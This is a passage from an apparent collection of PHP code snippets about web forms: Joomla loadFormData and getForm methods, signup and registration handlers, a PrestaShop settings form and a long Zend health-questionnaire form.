$this->getItem();\n }\n \n return $data;\n }", "public function prepareForm()\n {\n // Searching for the data to populate the Form\n\n // Adding default value to the list\n\n // Setting the lists in $data array\n $data = [\n ];\n\n //dd($data);\n\n return $data;\n }", "public function getForm($data = array(), $loadData = true){\n \n // Get the form.\n $form = $this->loadForm($this->option.'.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));\n if(empty($form)){\n return false;\n }\n \n return $form;\n }", "public function getForm($data = array(), $loadData = true)\n\t{\n\t\t// Get the form.\n\t\t$options = array('control' => 'jform', 'load_data' => $loadData);\n $form = $this->loadForm('tkdclub', 'email', $options);\n\n\t\tif (empty($form))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $form;\n\t}", "public function signupForm()\n {\n \t# code...\n \treturn view(\"external-pages.sign-up\");\n }", "public function getForm($data = array(), $loadData = true)\r\n {\r\n // Get the form.\r\n return $this->loadForm('com_data.email', 'email', array('control' => 'jform', 'load_data' => $loadData));\r\n }", "public function prepareForm()\n {\n // Searching for the data to populate the Form\n $client = new Client();\n $street_type = new StreetType();\n $state = new State();\n\n // Adding default value to the list\n $clients = $client->getSelectList();\n $street_types = $street_type->getSelectList();\n $states = $state->getSelectList();\n\n // Setting the lists in $data array\n $data = [\n 'clients' => $clients,\n 'street_types' => $street_types,\n 'states' => $states,\n ];\n\n //dd($data);\n\n return $data;\n }", "public function generaldataformAction(){\n\t\t$form = new Bel_Forms_Builder('registration_form','/usermanagement/profile/save');\n\t\t$form->removeElement('user_password')\n\t\t\t ->removeElement('password2')\n\t\t\t ->removeElement('captcha');\n\t\t\n\t\t$form->populateForm($this->_auth->toArray());\n\t\t\n\t\t/*if($this->_request->getParam('error')){\n\t\t\t$this->view->assign('messages',$this->_messages->getMessages());\n\t\t}*/\n\t\t\n\t\t$this->view->assign('form',$form);\n\t\t$this->view->display('forms/ajax.tpl');\n\t}", "protected function loadFormData() \r\n\t{\r\n\t\t// Check the session for previously entered form data.\r\n\t\t$data = JFactory::getApplication()->getUserState('com_ktbtracker.edit.' . $this->getName() . '.data', array());\r\n\t\t\r\n\t\t// Attempt to get the record from the database\r\n\t\tif (empty($data)) {\r\n\t\t\t$data = $this->getItem();\r\n\t\t}\r\n\t\t\r\n\t\treturn $data;\r\n\t}", "public function getData()\n\t{\n\t\tif ($this->data === null)\n\t\t{\n\t\t\t$this->data = new stdClass;\n\t\t\t$app = JFactory::getApplication();\n\t\t\t$params = JComponentHelper::getParams('com_volunteers');\n\n\t\t\t// Override the base user data with any data in the session.\n\t\t\t$temp = (array) $app->getUserState('com_volunteers.registration.data', array());\n\n\t\t\tforeach ($temp as $k => $v)\n\t\t\t{\n\t\t\t\t$this->data->$k = $v;\n\t\t\t}\n\n\t\t\t// Get the groups the user should be added to after registration.\n\t\t\t$this->data->groups = array();\n\n\t\t\t// Get the default new user group, Registered if not specified.\n\t\t\t$system = $params->get('new_usertype', 2);\n\n\t\t\t$this->data->groups[] = $system;\n\n\t\t\t// Unset the passwords.\n\t\t\tunset($this->data->password1);\n\t\t\tunset($this->data->password2);\n\n\t\t\t// Get the dispatcher and load the users plugins.\n\t\t\t$dispatcher = JEventDispatcher::getInstance();\n\t\t\tJPluginHelper::importPlugin('user');\n\n\t\t\t// Trigger the data preparation event.\n\t\t\t$results = $dispatcher->trigger('onContentPrepareData', array('com_volunteers.registration', $this->data));\n\n\t\t\t// Check for errors encountered while preparing the data.\n\t\t\tif (count($results) && in_array(false, $results, true))\n\t\t\t{\n\t\t\t\t$this->setError($dispatcher->getError());\n\t\t\t\t$this->data = false;\n\t\t\t}\n\t\t}\n\n\t\treturn $this->data;\n\t}", "function htheme_signup_shortcode( $atts ) {\r\n\r\n\t\t#SETUP CONTENT CLASS\r\n\t\t$htheme_data = $this->htheme_content->htheme_get_signup_form($atts);\r\n\r\n\t\t#RETURN DATA/HTML\r\n\t\treturn $htheme_data;\r\n\r\n\t}", "public function getForm()\n {\n RETURN $this->strategy->getForm();\n }", "private function getProductSignupForm()\n {\n $form = array(\n 'form' => array(\n 'id_form' => 'product_signup_setting',\n 'legend' => array(\n 'title' => $this->l('Product Signup Setting'),\n 'icon' => 'icon-sign-in'\n ),\n 'input' => array(\n array(\n 'label' => $this->l('Enable/Disable'),\n 'type' => 'switch',\n 'name' => 'kbproductsignup[enable]',\n 'values' => array(\n array(\n 'value' => 1,\n ),\n array(\n 'value' => 0,\n ),\n ),\n 'hint' => $this->l('Enable/Disable the product sign up')\n ),\n array(\n 'label' => $this->l('Sign up Price Alert Heading'),\n 'type' => 'text',\n 'name' => 'kbsignup_price_heading',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the heading displaying in the signup form')\n ),\n array(\n 'label' => $this->l('Price Alert Message'),\n 'type' => 'textarea',\n 'name' => 'kbsignup_price_message',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text message to display for the price alert signup form')\n ),\n array(\n 'label' => $this->l('Sign up Back In Stock Alert Heading'),\n 'type' => 'text',\n 'name' => 'kbsignup_stock_heading',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the heading displaying in the signup form')\n ),\n array(\n 'label' => $this->l('Back In Stock Alert Message'),\n 'type' => 'textarea',\n 'name' => 'kbsignup_stock_message',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text message to display for the back in stock alert signup form')\n ),\n array(\n 'label' => $this->l('Sign up Button Text'),\n 'type' => 'text',\n 'name' => 'kbsignup_button_text',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the signup button displaying in the signup form')\n ),\n \n array(\n 'label' => $this->l('Sign up Heading Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[heading_bk_color]',\n 'hint' => $this->l('Choose the background color to display in the heading of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Heading Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[heading_font_color]',\n 'hint' => $this->l('Choose the font color to display in the heading of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Content Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[content_bk_color]',\n 'hint' => $this->l('Choose the background color to display in the content of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Content Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[content_font_color]',\n 'hint' => $this->l('Choose the font color to display in the content of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Block Border color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[block_border_color]',\n 'hint' => $this->l('Choose the color to display in the border of the sign up block')\n ),\n array(\n 'label' => $this->l('Sign up Button Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[button_bk_color]',\n 'hint' => $this->l('Choose the background color for the sign up button')\n ),\n array(\n 'label' => $this->l('Sign up Button Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[button_font_color]',\n 'hint' => $this->l('Choose the font color for the sign up button')\n ),\n \n ),\n 'submit' => array(\n 'title' => $this->l('Save'),\n 'class' => 'btn btn-default pull-right kbph_product_sign_setting_btn'\n ),\n ),\n );\n return $form;\n }", "public function registrationForm() {\n\n }", "public function getForm($data = array(), $loadData = true)\n\t{\n\t}", "protected function loadFormData() \r\n\t{\r\n\t\t// Check the session for previously entered form data.\r\n\t\t$data = JFactory::getApplication()->getUserState('com_bigbluebutton.edit.meeting.data', array());\r\n\r\n\t\tif (empty($data))\r\n\t\t{\r\n\t\t\t$data = $this->getItem();\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "public function form(){\n\t\treturn $this->form;\n\t}", "protected function loadFormData(){\n\t\t\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState('com_egoi.edit.egoi.data', array());\n\t\tif (empty($data)) {\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "abstract function getForm();", "public function getFormData()\n {\n return $this->form->getData();\n }", "function form_signup($post) {\n $a = array(\n 'signup_nick' => 'checkNickname',\n 'signup_mail' => 'checkEmail'\n );\n \n return _form($post, $a);\n}", "protected function loadFormData()\n\t{\n\t $data = Factory::getApplication()->getUserState(\n\t\t\t'com_dinning_philosophers.edit.dinning_philosophers.data',\n\t\t\tarray()\n\t\t);\n\t\tif(empty($data))\n\t\t{\n\t\t\t$data=$this->getItem();\n\t\t}\n\t\treturn $data;\n\t}", "function getForm() {\n return $this->form;\n }", "protected function loadFormData()\r\n {\r\n $data = JFactory::getApplication()->getUserState('com_travelentity.edit.country.data', array());\r\n if(empty($data)){\r\n $data = $this->getItem();\r\n }\r\n\r\n\r\n return $data;\r\n }", "abstract protected function getForm();", "function hosting_signup_form() {\n drupal_add_js(drupal_get_path('module', 'hosting_signup') . '/hosting_signup_form.js');\n $form = xmlrpc(_hosting_signup_get_url(), 'hosting_signup.getForm', _hosting_signup_get_key(), $_POST);\n if (!$form) {\n drupal_set_message(t(\"XMLRPC request failed: %error\", array('%error' => xmlrpc_error_msg())), 'error');\n }\n $form['#action'] = '/hosting/signup';\n $form['#submit'][] = 'hosting_signup_form_submit';\n $form['#validate'][] = 'hosting_signup_form_validate';\n return $form;\n}", "function SignupAction($data, $form) {\n \n\t\t\n\t\t// Create a new object and load the form data into it\n\t\t$entry = new SearchContestEntry();\n\t\t$form->saveInto($entry);\n \n\t\t// Write it to the database.\n\t\t$entry->write();\n\t\t\n\t\tSession::set('ActionStatus', 'success'); \n\t\tSession::set('ActionMessage', 'Thanks for your entry!');\n\t\t\n\t\t//print_r($form);\n\t\tDirector::redirectBack();\n \n\t}", "public function formInput()\n {\n return \\Form::input('email', $this->formSlug, $this->value);\n }", "function form_data($args)\n {\n }", "function viewSignUpForm() {\n\t$view = new viewModel();\n\t$view->showSignUpForm();\t\n}", "function readInputData() {\n\t\t$this->readUserVars(array(\n 'userId', \n 'typeId', \n 'applicationForm', \n 'survey', \n 'membership', \n 'domain', \n 'ipRange', \n 'notifyEmail', \n 'notifyPaymentEmail', \n 'specialRequests', \n 'datePaid', \n 'registrationOptionIds'));\n\n\t\t$this->_data['datePaid'] = Request::getUserVar('paid')?Request::getUserDateVar('datePaid'):null;\n\n\t\t// If registration type requires it, membership is provided\n\t\t$registrationTypeDao =& DAORegistry::getDAO('RegistrationTypeDAO');\n\t\t$registrationType =& $registrationTypeDao->getRegistrationType($this->getData('typeId'));\n\t\t$needMembership = $registrationType->getMembership();\n\n\t\tif ($needMembership) { \n\t\t\t$this->addCheck(new FormValidator($this, 'membership', 'required', 'manager.registration.form.membershipRequired'));\n\t\t}\n\n\t\t// If registration type requires it, domain and/or IP range is provided\n\t\t$isInstitutional = $registrationTypeDao->getRegistrationTypeInstitutional($this->getData('typeId'));\n\t\t$isOnline = $registrationType->getAccess() != REGISTRATION_TYPE_ACCESS_PHYSICAL ? true : false;\n\n\t\tif ($isInstitutional && $isOnline) { \n\t\t\t$this->addCheck(new FormValidatorCustom($this, 'domain', 'required', 'manager.registration.form.domainIPRangeRequired', create_function('$domain, $ipRange', 'return $domain != \\'\\' || $ipRange != \\'\\' ? true : false;'), array($this->getData('ipRange'))));\n\t\t}\n\n\t\t// If notify email is requested, ensure registration contact name and email exist.\n\t\tif ($this->_data['notifyEmail'] == 1) {\n\t\t\t$this->addCheck(new FormValidatorCustom($this, 'notifyEmail', 'required', 'manager.registration.form.registrationContactRequired', create_function('', '$schedConf =& Request::getSchedConf(); $schedConfSettingsDao =& DAORegistry::getDAO(\\'SchedConfSettingsDAO\\'); $registrationName = $schedConfSettingsDao->getSetting($schedConf->getId(), \\'registrationName\\'); $registrationEmail = $schedConfSettingsDao->getSetting($schedConf->getId(), \\'registrationEmail\\'); return $registrationName != \\'\\' && $registrationEmail != \\'\\' ? true : false;'), array()));\n\t\t}\n\t\tif ($this->_data['notifyPaymentEmail'] == 1) {\n\t\t\t$this->addCheck(new FormValidatorCustom($this, 'notifyPaymentEmail', 'required', 'manager.registration.form.registrationContactRequired', create_function('', '$schedConf =& Request::getSchedConf(); $schedConfSettingsDao =& DAORegistry::getDAO(\\'SchedConfSettingsDAO\\'); $registrationName = $schedConfSettingsDao->getSetting($schedConf->getId(), \\'registrationName\\'); $registrationEmail = $schedConfSettingsDao->getSetting($schedConf->getId(), \\'registrationEmail\\'); return $registrationName != \\'\\' && $registrationEmail != \\'\\' ? true : false;'), array()));\n\t\t}\n\t}", "public function get_register_user_exists_form() {\n $this->do_register_user_exists_form();\n return $this->c_arr_register_user_exists_form;\n }", "protected function loadFormData()\n {\n // Check the session for previously entered form data.\n $app = JFactory::getApplication();\n $data = $app->getUserState('com_jtransport.config.data', array());\n\n if (empty($data))\n {\n $data = $this->getItem();\n }\n\n return $data;\n }", "public function &getForm() {\n return $this->form;\n }", "public function getSignupForm()\n {\n $this->nav('navbar.logged.out.signup');\n $this->title('navbar.logged.out.signup');\n\n return $this->view('auth.signup');\n }", "public function showRegistrationForm()\n {\n $data = [];\n\n // References\n $data['countries'] = CountryLocalizationHelper::transAll(CountryLocalization::getCountries());\n\n $data['genders'] = Gender::trans()->get();\n $cities = City::where('country_code',\"SA\")->orderBy('name')->get();\n\n MetaTag::set('title', getMetaTag('title', 'register'));\n MetaTag::set('description', strip_tags(getMetaTag('description', 'register')));\n MetaTag::set('keywords', getMetaTag('keywords', 'register'));\n\n return response()->json([\n 'status' => 'success',\n 'cities' => $cities,\n ]);\n }", "function get_data_form(){\n\n\n\t$IdGrupo = '';\n\t$IdFuncionalidad = '';\n\t$IdAccion = '';\n\t$NombreGrupo = '';\n\t$NombreFuncionalidad = '';\n\t$NombreAccion = '';\n\t$action = '';\n\n\tif(isset($_REQUEST['IdGrupo'])){\n\t$IdGrupo = $_REQUEST['IdGrupo'];\n\t}\n\tif(isset($_REQUEST['IdFuncionalidad'])){\n\t$IdFuncionalidad = $_REQUEST['IdFuncionalidad'];\n\t}\n\tif(isset($_REQUEST['IdAccion'])){\n\t$IdAccion = $_REQUEST['IdAccion'];\n\t}\n\tif(isset($_REQUEST['action'])){\n\t$action = $_REQUEST['action'];\n\t}\n\tif(isset($_REQUEST['NombreGrupo'])){\n\t$NombreGrupo = $_REQUEST['NombreGrupo'];\n\t}\n\tif(isset($_REQUEST['NombreFuncionalidad'])){\n\t$NombreFuncionalidad = $_REQUEST['NombreFuncionalidad'];\n\t}\n\tif(isset($_REQUEST['NombreAccion'])){\n\t$NombreAccion = $_REQUEST['NombreAccion'];\n\t}\n\n\t$PERMISOS = new PERMISO_Model(\n\t\t$IdGrupo, \n\t\t$IdFuncionalidad, \n\t\t$IdAccion,\n\t\t$NombreGrupo,\n\t\t$NombreFuncionalidad,\n\t\t$NombreAccion);\n\n\treturn $PERMISOS;\n}", "public function getForm($data = array(), $loadData = true)\n\t{\n\t\t// Get the form.\n\t\t$form = $this->loadForm('com_privacy.confirm', 'confirm', array('control' => 'jform'));\n\n\t\tif (empty($form))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$input = JFactory::getApplication()->input;\n\n\t\tif ($input->getMethod() === 'GET')\n\t\t{\n\t\t\t$form->setValue('confirm_token', '', $input->get->getAlnum('confirm_token'));\n\t\t}\n\n\t\treturn $form;\n\t}", "public function transactionGetForm ();", "public function getRegistrationForm()\n {\n \treturn view('auth.institute_register'); \n }", "protected function loadFormData() {\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState('com_cp.edit.cptourismtype.data', array());\n\n\t\tif (empty($data)) {\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "protected function loadFormData()\n\t{\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState('com_projectfork.edit.project.data', array());\n\n\t\tif(empty($data)) $data = $this->getItem();\n\n\t\treturn $data;\n\t}", "protected function loadFormData()\n\t\t{\n\t\t\t\t// Check the session for previously entered form data.\n\t\t\t\t$data = JFactory::getApplication()->getUserState('com_helloworld.edit.' . $this->context . '.data', array());\n\t\t\t\tif (empty($data))\n\t\t\t\t{\n\t\t\t\t\t\t$data = $this->getItem();\n\t\t\t\t}\n\t\t\t\treturn $data;\n\t\t}", "public function getPasswordSetForm();", "protected function loadFormData()\n\t{\n\t\t$data = $this->getData(); \n \n return $data;\n\t}", "protected function loadFormData() {\r\n\t\t// Check the session for previously entered form data.\r\n\t\t$data = JFactory::getApplication()->getUserState('com_flexicontent.edit.'.$this->getName().'.data', array());\r\n\r\n\t\tif (empty($data)) {\r\n\t\t\t$data = $this->getItem();\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "public function getForm($data, $protection=0){\n\n $elementDecorators = array(\n array('Label'),\n array('ViewHelper'),\n array('Errors'),\n );\n \n $form = new Zend_Form();\n $form->setAction('/user/registration/first-form/')\n ->setMethod('post');\n\n //firstname field\n $firstName = new Zend_Form_Element_Text('firstname', array(\n 'maxLength' => '30',\n 'id' => 'name',\n 'validators' => array(\n array('stringLength', false, array(3,100)),\n array('Alpha'),\n ),\n ));\n if (isset ($data['u_name'])) $firstName->setValue($data['u_name']);\n if ($protection) $firstName->setAttrib('readonly', 'true');\n $firstName->setDecorators($elementDecorators);\n\n //lastname field\n $lastName = new Zend_Form_Element_Text('lastname', array(\n 'maxLength' => '30',\n 'id' => 'lname',\n 'validators' => array(\n array('stringLength', false, array(3,100)),\n array('Alpha'),\n ),\n ));\n $lastName->setDecorators($elementDecorators);\n if (isset ($data['u_family_name'])) $lastName->setValue($data['u_family_name']);\n if ($protection) $lastName->setAttrib ('readonly', 'true');\n\n //selecting gender: Male (1) or Female (0)\n $gender = new Zend_Form_Element_Radio('sex', array(\n 'separator' =>'',\n 'multiOptions' => array('1'=>'זכר ','0'=>'נקבה'),\n ));\n $gender->setDecorators($elementDecorators);\n $gender->setValue($data['u_sex_id']);\n if (isset ($data['u_sex_id'])) $gender->setValue($data['u_sex_id']);\n if ($protection) $gender->setAttrib ('readonly', 'true');\n //birthday field: validation for yyyy-mm-dd input\n $birthday = new Zend_Form_Element_Text('datepicker', array(\n 'size' => 10,\n ));\n $birthday->setDecorators($elementDecorators);\n if (isset ($data['u_date_of_birth'])) $birthday->setValue(date(\"d/m/Y\",strtotime($data['u_date_of_birth'])));\n if ($protection) $birthday->setAttrib ('readonly', 'true');\n\n //heigth\n $heigth = new Zend_Form_Element_Select('heigth', array());\n for ($i=120;$i<=300;$i++) $heigth->addMultiOption($i,$i);\n $heigth->setDecorators($elementDecorators);\n if (isset ($data['uht_height'])) $heigth->setValue($data['uht_height']);\n if ($protection) $heigth->setAttrib ('disabled', 'true');\n\n\n //weight\n $weight = new Zend_Form_Element_Select('weight', array(\n 'label' =>'',\n ));\n for ($i=20;$i<=300;$i++) $weight->addMultiOption($i,$i);\n $weight->setDecorators($elementDecorators);\n if (isset ($data['uht_weight'])) $weight->setValue($data['uht_weight']);\n \n //email field with validation\n $email = new Zend_Form_Element_Text('email',array(\n ));\n $email->addValidator(new Zend_Validate_EmailAddress());\n $email->setDecorators($elementDecorators);\n if (isset ($data['u_email'])) $email->setValue($data['u_email']);\n if ($protection) {\n $email->setAttrib ('readonly', 'true');\n }\n\n // password field\n $password1 = new Zend_Form_Element_Password('password1', array(\n 'id' => 'pass',\n ));\n $password1->setDecorators($elementDecorators);\n\n // password confirmation field\n $password2 = new Zend_Form_Element_Password('password2', array(\n 'id' => 'c_pass',\n ));\n $password2->addValidator(new User_Form_UserFirstFormPasswordValidator('password1'));\n $password2->setDecorators($elementDecorators);\n\n $state = new Zend_Form_Element_Select('state', array(\n 'requred' => true,\n ));\n $state->setMultiOptions(array(\n '1' => 'מדינה:',\n ));\n $state->setDecorators($elementDecorators);\n if (isset ($data['u_state'])) $state->setValue($data['u_state']);\n\n $address = new Zend_Form_Element_Text('address', array(\n 'required' => false,\n 'id' => 'full_adr',\n ));\n $address->setDecorators($elementDecorators);\n if (isset ($data['u_address'])) $address->setValue($data['u_address']);\n\n $pregnant = new Zend_Form_Element_Radio('pregnant', array(\n 'separator' =>'',\n 'multioptions' => array('Yes'=>'לא','No'=>'כן'),\n ));\n $pregnant->setDecorators($elementDecorators);\n if (($data['uht_pregnant'])) $pregnant->setValue($data['uht_pregnant']);\n \n \n $pregnantSince = new Zend_Form_Element_Select('pregnantsince', array(\n 'id' => 'hz1',\n ));\n $pregnantSince->setMultiOptions(array(\n '1' => '1',\n '2' => '2',\n '3' => '3',\n '4' => '4',\n '5' => '5',\n '6' => '6',\n '7' => '7',\n '8' => '8',\n '9' => '9',\n ));\n $pregnantSince->setDecorators($elementDecorators);\n if (($data['uht_pregnant'])) $pregnant->setValue($data['uht_pregnant']);\n if (($data['uht_pregnant_since'])) $pregnantSince->setValue($data['uht_pregnant_since']);\n\n $objectives = new Zend_Form_Element_Textarea('objectives', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['u_objectives'])) $objectives->setValue($data['u_objectives']);\n \n $terms = new Zend_Form_Element_Checkbox('terms', array(\n 'required' => 'true,'\n ));\n\n $heartPressure = new Zend_Form_Element_Checkbox('heartpressure', array());\n $heartPressure->setDecorators($elementDecorators);\n if ($data['uht_heart_or_pb']) $heartPressure->setChecked(true);\n\n $diabetes = new Zend_Form_Element_Checkbox('diabetes', array());\n $diabetes->setDecorators($elementDecorators);\n if ($data['uht_diabetes']) $diabetes->setChecked(true);\n\n $migrene = new Zend_Form_Element_Checkbox('migrene', array());\n $migrene->setDecorators($elementDecorators);\n if ($data['uht_migrene']) $migrene->setChecked(true);\n\n $babies = new Zend_Form_Element_Checkbox('babies', array());\n $babies->setDecorators($elementDecorators);\n if ($data['uht_babies']) $babies->setChecked(true);\n\n $nosleep = new Zend_Form_Element_Checkbox('nosleep', array());\n $nosleep->setDecorators($elementDecorators);\n if ($data['uht_nosleep']) $nosleep->setChecked(true);\n \n $digestion = new Zend_Form_Element_Checkbox('digestion', array());\n $digestion->setDecorators($elementDecorators);\n if ($data['uht_digestion']) $digestion->setChecked(true);\n\n $menopause = new Zend_Form_Element_Checkbox('menopause', array());\n $menopause->setDecorators($elementDecorators);\n if ($data['uht_menopause']) $menopause->setChecked(true);\n\n $sclorosies = new Zend_Form_Element_Checkbox('sclorosies', array());\n $sclorosies->setDecorators($elementDecorators);\n if ($data['uht_sclorosies']) $sclorosies->setChecked(true);\n\n $epilepsy = new Zend_Form_Element_Checkbox('epilepsy', array());\n $epilepsy->setDecorators($elementDecorators);\n if ($data['uht_epilepsy']) $epilepsy->setChecked(true);\n\n $cancer = new Zend_Form_Element_Checkbox('cancer', array());\n $cancer->setDecorators($elementDecorators);\n if ($data['uht_cancer']) $cancer->setChecked(true);\n\n $asthma = new Zend_Form_Element_Checkbox('asthma', array());\n $asthma->setDecorators($elementDecorators);\n if ($data['uht_asthma']) $asthma->setChecked(true);\n\n $artritis = new Zend_Form_Element_Checkbox('artritis', array());\n $artritis->setDecorators($elementDecorators);\n if ($data['uht_Artritis']) $artritis->setChecked(true);\n\n $hernia = new Zend_Form_Element_Checkbox('hernia', array());\n $hernia->setDecorators($elementDecorators);\n if ($data['uht_hernia']) $hernia->setChecked(true);\n\n $depression = new Zend_Form_Element_Checkbox('depression', array());\n $depression->setDecorators($elementDecorators);\n if ($data['uht_depression_or_anxiety']) $depression->setChecked(true);\n\n $headaches = new Zend_Form_Element_Checkbox('headaches', array());\n $headaches->setDecorators($elementDecorators);\n if ($data['uht_headaches']) $headaches->setChecked(true);\n \n $fatigue = new Zend_Form_Element_Checkbox('fatigue', array());\n $fatigue->setDecorators($elementDecorators);\n if ($data['uht_fatigue']) $fatigue->setChecked(true);\n\n $injury = new Zend_Form_Element_Checkbox('injury', array());\n $injury->setDecorators($elementDecorators);\n if ($data['uht_injury']) $injury->setChecked(true);\n\n $injuryText = new Zend_Form_Element_Textarea('injurytext', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_injury_text'])) $injuryText->setValue($data['uht_injury_text']);\n\n $medication = new Zend_Form_Element_Checkbox('medication', array());\n $medication->setDecorators($elementDecorators);\n if ($data['uht_medication']) $medication->setChecked(true);\n\n $medicationText = new Zend_Form_Element_Textarea('medicationtext', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_which_medication'])) $medicationText->setValue($data['uht_which_medication']);\n\n $walk = new Zend_Form_Element_Radio('walk', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_walk']) $walk->setValue($data['uht_walk']);\n $walk->setDecorators($elementDecorators);\n\n $hands = new Zend_Form_Element_Radio('hands', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_hands']) $hands->setValue($data['uht_hands']);\n $hands->setDecorators($elementDecorators);\n\n $legs = new Zend_Form_Element_Radio('legs', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_sit']) $legs->setValue($data['uht_sit']);\n $legs->setDecorators($elementDecorators);\n\n $backashes = new Zend_Form_Element_Radio('backashes', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_backashes']) $backashes->setValue($data['uht_backashes']);\n $backashes->setDecorators($elementDecorators);\n if ($protection) $backashes->setAttrib ('disabled', 'true');\n\n $slippedDisk = new Zend_Form_Element_Radio('disc', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($protection) $slippedDisk->setAttrib ('disabled', 'true');\n if ($data['uht_slipped_disk']) $slippedDisk->setValue($data['uht_slipped_disk']);\n $slippedDisk->setDecorators($elementDecorators);\n\n $generalQuestionsText1 = new Zend_Form_Element_Text('general1', array('id'=>'f_1'));\n $generalQuestionsText2 = new Zend_Form_Element_Text('general2', array('id'=>'f_2'));\n $generalQuestionsText3 = new Zend_Form_Element_Text('general3', array('id'=>'f_3'));\n $generalQuestionsText1->setDecorators($elementDecorators);\n if ($protection){\n $generalQuestionsText1->setAttrib ('readonly', 'true');\n $generalQuestionsText2->setAttrib ('readonly', 'true');\n $generalQuestionsText3->setAttrib ('readonly', 'true');\n }\n \n $generalQuestionsText2->setDecorators($elementDecorators);\n $generalQuestionsText3->setDecorators($elementDecorators);\n if (isset ($data['uht_general1'])) $generalQuestionsText1->setValue($data['uht_general1']);\n if (isset ($data['uht_general2'])) $generalQuestionsText2->setValue($data['uht_general2']);\n if (isset ($data['uht_general3'])) $generalQuestionsText3->setValue($data['uht_general3']);\n\n $lowerback = new Zend_Form_Element_Checkbox('lowerback', array());\n $lowerback->setDecorators($elementDecorators);\n if ($data['uht_lower_back']) $lowerback->setChecked(true);\n\n $upperback = new Zend_Form_Element_Checkbox('upperback', array());\n $upperback->setDecorators($elementDecorators);\n if ($data['uht_upper_back']) $upperback->setChecked(true);\n\n $feet = new Zend_Form_Element_Checkbox('feet', array());\n $feet->setDecorators($elementDecorators);\n if ($data['uht_ankles_and_feet']) $feet->setChecked(true);\n\n $neck = new Zend_Form_Element_Checkbox('neck', array());\n $neck->setDecorators($elementDecorators);\n if ($data['uht_neck_and_shoulders']) $neck->setChecked(true);\n\n $breath = new Zend_Form_Element_Checkbox('breath', array());\n $breath->setDecorators($elementDecorators);\n if ($data['uht_breath']) $breath->setChecked(true);\n\n $pelvis = new Zend_Form_Element_Checkbox('pelvis', array());\n $pelvis->setDecorators($elementDecorators);\n if ($data['uht_thighs_or_pelvis']) $pelvis->setChecked(true);\n\n $knees = new Zend_Form_Element_Checkbox('knees', array());\n $knees->setDecorators($elementDecorators);\n if ($data['uht_thighs_or_pelvis']) $knees->setChecked(true);\n\n $wrists = new Zend_Form_Element_Checkbox('wrists', array());\n $wrists->setDecorators($elementDecorators);\n if ($data['uht_wrists']) $wrists->setChecked(true);\n\n $head = new Zend_Form_Element_Checkbox('head', array());\n $head->setDecorators($elementDecorators);\n if ($data['uht_head']) $head->setChecked(true);\n\n $ankles = new Zend_Form_Element_Checkbox('ankles', array());\n $ankles->setDecorators($elementDecorators);\n if ($data['uht_ankles']) $ankles->setChecked(true);\n\n $externalMails = new Zend_Form_Element_Checkbox('external', array());\n $externalMails->setDecorators($elementDecorators);\n if ($data['u_external_emails']) $externalMails->setChecked(true);\n\n $moreInfo = new Zend_Form_Element_Textarea('moreinfo', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_more_info'])) $moreInfo->setValue($data['uht_more_info']);\n\n $form->addElements(array($firstName,$lastName,$gender,$birthday,$heigth,$weight,\n $email,$password1,$password2,$state,$address,$pregnant,$pregnantSince,\n $objectives,$terms,\n $heartPressure,$diabetes,$migrene,$babies,$nosleep,\n $digestion,$menopause,$sclorosies,$epilepsy,$cancer,$asthma,\n $artritis,$hernia,$depression,$fatigue,$headaches,$injury,\n $injuryText,$medication,$medicationText,\n $walk,$hands,$legs,$backashes,$slippedDisk,\n $generalQuestionsText1,$generalQuestionsText2,$generalQuestionsText3,\n $lowerback,$upperback,$feet,$neck,$breath,$pelvis,$knees,\n $wrists,$head,$ankles,$moreInfo,$externalMails\n ));\n\n return $form;\n }", "function registration_form_data ($page_id)\n {\n $query_string = \"SELECT * FROM registration_form WHERE form_id = $page_id AND form_publish ='1' \";\n\n $items = $this->db->query($query_string);\n $row = $items->row_array(); // values by array\n $reg_form_data = array();\n $reg_form_data['form_id'] = $row['form_id'];\n 